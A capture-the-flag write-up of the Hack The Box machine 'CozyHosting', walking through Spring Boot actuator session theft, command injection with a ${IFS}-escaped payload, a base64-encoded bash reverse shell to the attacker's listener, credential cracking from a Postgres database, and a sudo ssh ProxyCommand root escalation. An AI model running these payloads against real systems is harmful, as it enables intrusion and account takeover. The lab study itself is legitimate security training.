HTB: CozyHosting

Easy HTB machine where I exploit a Spring Boot webserver, the admin panel is vulnerable to code injection, which leads to a foothold after which I abuse postgresql to crack a users hash, and then privesc to root.

Shows port 22 and port 80 open

Pasted image 20230915123856
I add 10.10.11.230 cozyhosting.htb to my /etc/hosts file.

Pasted image 20230915123903

Running gobuster gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
yielded no results.

Running dirsearch -u http://cozyhosting.htb returned quite some output:

[05:25:29] 200 - 0B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js [05:25:32] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd [05:25:33] 400 - 435B - /a%5c.aspx [05:25:34] 200 - 634B - /actuator [05:25:34] 200 - 15B - /actuator/health [05:25:34] 200 - 48B - /actuator/sessions [05:25:34] 200 - 5KB - /actuator/env [05:25:34] 200 - 10KB - /actuator/mappings [05:25:34] 200 - 124KB - /actuator/beans [05:25:34] 401 - 97B - /admin [05:25:53] 200 - 0B - /engine/classes/swfupload//swfupload.swf [05:25:53] 200 - 0B - /engine/classes/swfupload//swfupload_f9.swf [05:25:53] 500 - 73B - /error [05:25:54] 200 - 0B - /examples/jsp/%252e%252e/%252e%252e/manager/html/ [05:25:54] 200 - 0B - /extjs/resources//charts.swf [05:25:57] 200 - 0B - /html/js/misc/swfupload//swfupload.swf [05:25:58] 200 - 12KB - /index [05:26:02] 200 - 4KB - /login [05:26:02] 200 - 0B - /login.wdm%2e [05:26:03] 204 - 0B - /logout [05:26:18] 400 - 435B - /servlet/%C0%AE%C0%AE%C0%AF

Looking up actuator endpoint shows that this is Spring Boot
Pasted image 20230915123911

Looking through the endpoint /sessions jumps out, it contains the following data. Looking at our current cookie, it is the same as “UNAUTHORIZED”, I replace my current cookie with the value of kanderson and successfully get access to the admin panel.
Pasted image 20230915123915

Pasted image 20230915123918

On the bottom of the /admin page it shows the following
Pasted image 20230915123922

Capturing the request it does in BURP shows that if i don’t give a username it shows the ssh help menu. This looks like command injection.
Pasted image 20230915123926

I want to see if I can ping my own machine.
On my machine I start tcpdump sudo tcpdump -i tun0 so i can see if I receive the pings.

$ sudo tcpdump -i tun0 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

I use my kali box’s ip as username and try to ping it.
Pasted image 20230915123931

I could see in tcmpdump that there was data incoming, but no ICMP request show.

$ sudo tcpdump -i tun0 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 05:10:12.464353 IP 10.10.14.52.59394 > cozyhosting.htb.http: Flags [S], seq 3573917926, win 64240, options [mss 1460,sackOK,TS val 2783211771 ecr 0,nop,wscale 7], length 0 05:10:12.484814 IP cozyhosting.htb.http > 10.10.14.52.59394: Flags [S.], seq 2880840824, ack 3573917927, win 65160, options [mss 1340,sackOK,TS val 1735514511 ecr 2783211771,nop,wscale 7], length 0 05:10:12.484844 IP 10.10.14.52.59394 > cozyhosting.htb.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 2783211792 ecr 1735514511], length 0 05:10:12.485179 IP 10.10.14.52.59394 > cozyhosting.htb.http: Flags [P.], seq 1:581, ack 1, win 502, options [nop,nop,TS val 2783211792 ecr 1735514511], length 580: HTTP: POST /executessh HTTP/1.1 05:10:12.504657 IP cozyhosting.htb.http > 10.10.14.52.59394: Flags [.], ack 581, win 505, options [nop,nop,TS val 1735514532 ecr 2783211792], length 0 05:10:12.507421 IP cozyhosting.htb.http > 10.10.14.52.59394: Flags [P.], seq 1:376, ack 581, win 505, options [nop,nop,TS val 1735514534 ecr 2783211792], length 375: HTTP: HTTP/1.1 302 05:10:12.507468 IP 10.10.14.52.59394 > cozyhosting.htb.http: Flags [.], ack 376, win 501, options [nop,nop,TS val 2783211814 ecr 1735514534], length 0 05:10:12.507487 IP cozyhosting.htb.http > 10.10.14.52.59394: Flags [F.], seq 376, ack 581, win 505, options [nop,nop,TS val 1735514534 ecr 2783211792], length 0 05:10:12.508154 IP 10.10.14.52.59394 > cozyhosting.htb.http: Flags [F.], seq 581, ack 377, win 501, options [nop,nop,TS val 2783211815 ecr 1735514534], length 0 05:10:12.531337 IP cozyhosting.htb.http > 10.10.14.52.59394: Flags [.], ack 582, win 505, options [nop,nop,TS val 1735514558 ecr 2783211815], length 0

After doing some reading and trying different things, I ended up with the following syntax that worked correctly. I found out about $IFS on https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions
host=127.0.0.1&username=;ping${IFS}10.10.14.52;

$ sudo tcpdump -i tun0 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 05:12:32.778623 IP cozyhosting.htb > 10.10.14.52: ICMP echo request, id 3, seq 71, length 64 05:12:32.778656 IP 10.10.14.52 > cozyhosting.htb: ICMP echo reply, id 3, seq 71, length 64 05:12:33.779692 IP cozyhosting.htb > 10.10.14.52: ICMP echo request, id 3, seq 72, length 64 05:12:33.779730 IP 10.10.14.52 > cozyhosting.htb: ICMP echo reply, id 3, seq 72, length 64 05:12:34.895474 IP cozyhosting.htb > 10.10.14.52: ICMP echo request, id 3, seq 73, length 64 05:12:34.895520 IP 10.10.14.52 > cozyhosting.htb: ICMP echo reply, id 3, seq 73, length 64 05:12:35.783210 IP cozyhosting.htb > 10.10.14.52: ICMP echo request, id 3, seq 74, length 64 05:12:35.783266 IP 10.10.14.52 > cozyhosting.htb: ICMP echo reply, id 3, seq 74, length 64 05:12:36.785238 IP cozyhosting.htb > 10.10.14.52: ICMP echo request, id 3, seq 75, length 64 05:12:36.785278 IP 10.10.14.52 > cozyhosting.htb: ICMP echo reply, id 3, seq 75, length 64 05:12:37.803207 IP cozyhosting.htb > 10.10.14.52: ICMP echo request, id 3, seq 76, length 64

Now I need to get a reverse shell.

I first make a base64 representation of the standard bash reverse shell, so it can be transferred correctly.

$ echo "bash -i >& /dev/tcp/10.10.14.52/4444 0>&1" | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Mi80NDQ0IDA+JjEK

So this is the command I want to execute via the admin dashboard

$ echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Mi80NDQ0IDA+JjEK" | base64 -d|bash

As seen in the ping command, the spaces needs to be escaped with ${IFS} and a ; in the beginning and the end.

bash

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Mi80NDQ0IDA+JjEK"|base64${IFS}-d|bash;

Then it needs to be url encoded, but I do this via burp.
Pasted image 20230915123937

I start my nc listener on port 4444 and after sending the request in burp i succesfully get a shell as app

nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.52] from (UNKNOWN) [10.10.11.230] 50968 bash: cannot set terminal process group (1062): Inappropriate ioctl for device bash: no job control in this shell app@cozyhosting:/app$ whoami whoami app app@cozyhosting:/app$

I upgrade my simple shell to a interactive one using the python import pty trick.

Looking around the only interesting file is cloudhosting-0.0.1.jar in the directory we landed in initially.
I use an online java decompiler, to sniff around, and i found the following postgres information!

Pasted image 20230915123943

Checking if it is active

app@cozyhosting:/app$ systemctl status postgresql ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled) Active: active (exited) since Fri 2023-09-15 04:54:38 UTC; 4h 38min ago Process: 1128 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 1128 (code=exited, status=0/SUCCESS) CPU: 1ms Warning: some journal files were not opened due to insufficient permissions.

Using that information I successfully connect to the database

app@cozyhosting:/app$ psql -U postgres -h 127.0.0.1 Password for user postgres: psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type "help" for help. postgres=#

In postgres the following commands can be used to maneuver around

\l list all databases
\d describe all tables
\c <database name> acces / switch to a database

Pasted image 20230915123948

The cozyhosting database seems the most interesting so I go into that one.
Pasted image 20230915123952

Pasted image 20230915123956

And in the users folder i find the following hashes:
Pasted image 20230915124000

The password is hashed, so i try to crack the admin password with John.

Pasted image 20230915124004
Successfully cracked the password manchesterunited

I try to su as root, but no luck. I see which other users there are, and in the /home folder there is the user josh, he is also in the /etc/passwd file.
I try to su into josh with the password, and success!

Pasted image 20230915124008

Running sudo -l to show josh permissions, it immediately shows he is allowed to run ssh as root.

josh@cozyhosting:~$ sudo -l [sudo] password for josh: Matching Defaults entries for josh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User josh may run the following commands on localhost: (root) /usr/bin/ssh *

After a quick check on gtfobins it shows the command to run sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Pasted image 20230915124013